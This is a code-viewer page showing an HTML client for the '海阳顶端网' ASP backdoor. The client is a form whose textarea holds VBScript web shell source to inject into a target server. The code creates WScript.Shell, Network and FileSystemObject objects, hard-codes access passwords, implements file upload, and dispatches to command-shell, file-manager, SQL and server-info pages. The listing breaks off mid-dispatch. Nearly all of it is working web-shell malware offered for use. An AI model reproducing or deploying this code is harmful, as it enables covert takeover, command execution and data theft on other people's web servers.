📄 2005.htm
字号:
<html><head><meta http-equiv="Content-Type" content="text/html; charset=gb2312"><title>海阳顶端网ASP后门执行Plus</title></head><style>BODY { FONT-SIZE: 9pt; COLOR: #000000; FONT-FAMILY: "Courier New"; scrollbar-face-color:#E4E4F3; scrollbar-highlight-color:#FFFFFF; scrollbar-3dlight-color:#E4E4F3; scrollbar-darkshadow-color:#9C9CD3; scrollbar-shadow-color:#E4E4F3; scrollbar-arrow-color:#4444B3; scrollbar-track-color:#EFEFEF;}TABLE { FONT-SIZE: 9pt; FONT-FAMILY: "Courier New"; BORDER-COLLAPSE: collapse; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: none; border-bottom-style: none; border-left-style: solid; border-top-color: #d8d8f0; border-right-color: #d8d8f0; border-bottom-color: #d8d8f0; border-left-color: #d8d8f0;}.tr { font-family: "Courier New"; font-size: 9pt; background-color: #e4e4f3; text-align: center;}.td { font-family: "Courier New"; font-size: 9pt; background-color: #f9f9fd;}.warningColor { font-family: "Courier New"; font-size: 9pt; color: #ff0000;}input { font-family: "Courier New"; BORDER-TOP-WIDTH: 1px; BORDER-LEFT-WIDTH: 1px; FONT-SIZE: 12px; BORDER-BOTTOM-WIDTH: 1px;BORDER-RIGHT-WIDTH: 1px; color: #000000;}textarea { font-family: "Courier New"; BORDER-TOP-WIDTH: 1px; BORDER-LEFT-WIDTH: 1px; FONT-SIZE: 12px; BORDER-BOTTOM-WIDTH: 1px; BORDER-RIGHT-WIDTH: 1px; color: #000000;}A:link { FONT-SIZE: 9pt; COLOR: #000000; FONT-FAMILY: "Courier New"; TEXT-DECORATION: none;}tr { font-family: "Courier New"; font-size: 9pt; line-height: 18px;}td { font-family: "Courier New"; font-size: 9pt; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: none; border-right-style: solid; border-bottom-style: solid; border-left-style: none; border-top-color: #d8d8f0; border-right-color: #d8d8f0; border-bottom-color: #d8d8f0; border-left-color: #d8d8f0;}.trHead { font-family: "Courier New"; font-size: 9pt; background-color: #e4e4f3; line-height: 3px;}.inputLogin { font-family: "Courier New"; font-size: 9pt; border: 1px solid #d8d8f0; background-color: #f9f9fd; vertical-align: bottom;}</style>
<body><table width="760" border="0" align="center" cellpadding="0" cellspacing="0"><form method="post" target="_blank"><tr><td height="22" class="td"> 海阳顶端网ASP后门执行Plus </td></tr><tr><td class="trHead"> </td></tr><tr><td height="18" align="center" class="td"> 表单提交地址: <input name="theAction" type="text" id="theAction" value="http://" size="50">密码: <input name="password" type="password" id="password" size="5"> <input name="Submit422" type="button" class="inputLogin" onClick="this.form.sharp.rows+=10;" value="+"> <input name="Submit42" type="button" class="inputLogin" onClick="if(this.form.sharp.rows>11){this.form.sharp.rows-=10;}" value="-"></td></tr><tr><td align="center" class="td"> <textarea name="#" id="sharp" cols="80" rows="30"> On Error Resume Next
Set ws=server.createObject("WScript.Shell")
On Error Resume Next
Set ws=server.createObject("WScript.Shell")
On Error Resume Next
Set net=server.createObject("WScript.Network")
On Error Resume Next
Set net=server.createObject("WScript.Network")
On Error Resume Next
Set fso=server.createObject("Scripting.FileSystemObject")
dim url,shellStr,applicationStr,pageName,startTime
shellStr="Shell"
applicationStr="Application"
startTime=timer()
session.timeout=40
pageName=request("pageName")
url=request.serverVariables("url")
const m="xxxxx"
const mVersion="2005"
const userPassword="777888" '登录密码
const adminPassword="77778888" '二次密码
const clientPassword="7" '客户端密码,如果要插入数据库,则只能设置一位,请只使用数字和字母的组合
const sqlMaxLoopI=100
const notdownloadsExists=false
const myCmdDotExeFile="command.exe" '自己的cmd.exe文件名,如果不方便改源程序,执行时要在路径后面多加上 /c
const editableFileExt="$log$asp$txt$php$ini$inc$htm$html$xml$conf$config$jsp$java$htt$bat$lst$aspx$php3$php4$js$css$bat$asa$"
rem +--------------------------------------+
rem | 这下面是页面的公共函数部分 |
rem +--------------------------------------+
sub echo(str)
response.write(str)
end sub
sub onErr(str)
response.write("出错信息: "&str&"")
response.end()
end sub
sub isIn(flag)
if flag=1 then
if session(m&"userPassword")<>userPassword then
echo "<script language=""javascript"">alert('对不起,没有权限的操作,请先登录!');location.href='?pageName=default';</script>"
response.end
end if
else
isIn(1)
if session(m&"adminPassword")<>adminPassword then
echo "<script language=""javascript"">if(confirm('此操作要求二次鉴权\n现在进行这项操作吗?')){location.href='?pageName=login';}else{history.back();}</script>"
response.end
end if
end if
end sub
function getTheSize(str)
dim theSize
theSize=str
if theSize>=(1024*1024*1024) then getTheSize=fix((theSize/(1024*1024*1024))*10)/10&"G"
if theSize>=(1024*1024) and theSize<(1024*1024*1024) then getTheSize=fix((theSize/(1024*1024))*10)/10&"M"
if theSize>=1024 and theSize<(1024*1024) then getTheSize=fix((theSize/1024)*10)/10&"K"
if theSize>=0 and theSize <1024 then getTheSize=theSize&"B"
end function
function getStrLen(str)
dim i
getStrLen=0
for i=1 to len(str)
if asc(mid(str,i,1))>0 and asc(mid(str,i,1))<256 then
getStrLen=getStrLen+1
else
getStrLen=getStrLen+2
end if
next
end function
function getCutStr(str,n)
dim i,j
if n>len(str) then
n=len(str)
end if
for i=1 to n
if asc(mid(str,i,1))<=0 or asc(mid(str,i,1))>=256 then
j=j+1
end if
next
getCutStr=left(str,n-j)
end function
sub redirectTo(url)
response.redirect(url)
end sub
sub showTitle(str)
' response.write("<meta http-equiv=""Content-Type"" content=""text/html; charset=gb2312"">"&vbNewLine)
response.write("<title>"&str&" - 海阳顶端网ASP木马＠2005官方正式版 - By Marcos & LCX & Allen</title>")
end sub
sub showExecuteTime()
response.write("<br><center>"&((timer-startTime)*1000)&" ms</center>")
end sub
function getParentFolder(thePath)
dim path
path=thePath
if right(path,1)="\" then
path=left(path,len(path)-1)
end if
if instr(path,"\")>0 then
getParentFolder=left(path,instrRev(path,"\"))
else
getParentFolder=""
end if
end function
sub chkErr(err,message)
if err then
err.clear
response.write "<script language=""javascript"">alert('"&message&"');</script>"
response.end
end if
end sub
function encodeForUrl(str,flag)
if flag=true then
encodeForUrl=replace(str,"\","\\")
encodeForUrl=replace(encodeForUrl,"'","\'")
else
encodeForUrl=server.urlEncode(str)
encodeForUrl=replace(encodeForUrl,"%5C","\")
end if
end function
function fixNull(str)
if isNull(str) then
fixNull=""
else
fixNull=str
end if
end function
sub streamUpload(thePath,fileName)
dim i,j,info,stream,streamT,theFile,overWrite,fileContent
theFile=request("theFile")
overWrite=request("overWrite")
if instr(fileName,":") then
fileName=fileName
else
fileName=thePath&"\"&fileName
end if
server.scriptTimeOut=5000
set stream=server.createObject("adodb.stream")
set streamT=server.createObject("adodb.stream")
with stream
.type=1
.mode=3
.open
.write request.binaryRead(request.totalBytes)
.position=0
fileContent=.read()
i=instrB(fileContent,chrB(13)&chrB(10))
info=leftB(fileContent,i-1)
i=len(info)+2
i=instrB(i,fileContent,chrB(13)&chrB(10)&chrB(13)&chrB(10))+4-1
j=instrB(i,fileContent,info)-1
streamT.Type=1
streamT.Mode=3
streamT.Open
stream.position=i
.copyTo streamT,j-i-2
on error resume next
if overWrite="true" then
streamT.saveToFile fileName,2
else
streamT.saveToFile fileName
end if
if err.number=3004 then
err.clear
fileName=fileName&"\"&split(theFile,"\")(uBound(split(theFile,"\")))
if overWrite="true" then
streamT.saveToFile fileName,2
else
streamT.saveToFile fileName
end if
end if
chkErr err,err.description&"\n可能同名文件已经存在.');history.back('"
echo "<script language=""javascript"">alert('文件上传成功!\n"&replace(fileName,"\","\\")&"');</script>"
streamT.close
.close
end with
set stream=nothing
set streamT=nothing
end sub
rem +-------------------------------+
rem | 下面是页面代码选择 |
rem +-------------------------------+
if pageName<>"stream" then
pageOther()
showMenu()
end if
select case pageName
case "","default"
pageDefault()
case "server"
pageServer()
case "stream"
pageStream()
case "sql"
pageSql()
case "fso"
pageFso()
case "upload"
pageUpload()
case "cmdShell"
pageCmdShell()
case "login"
pageLogin()
case "app"
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -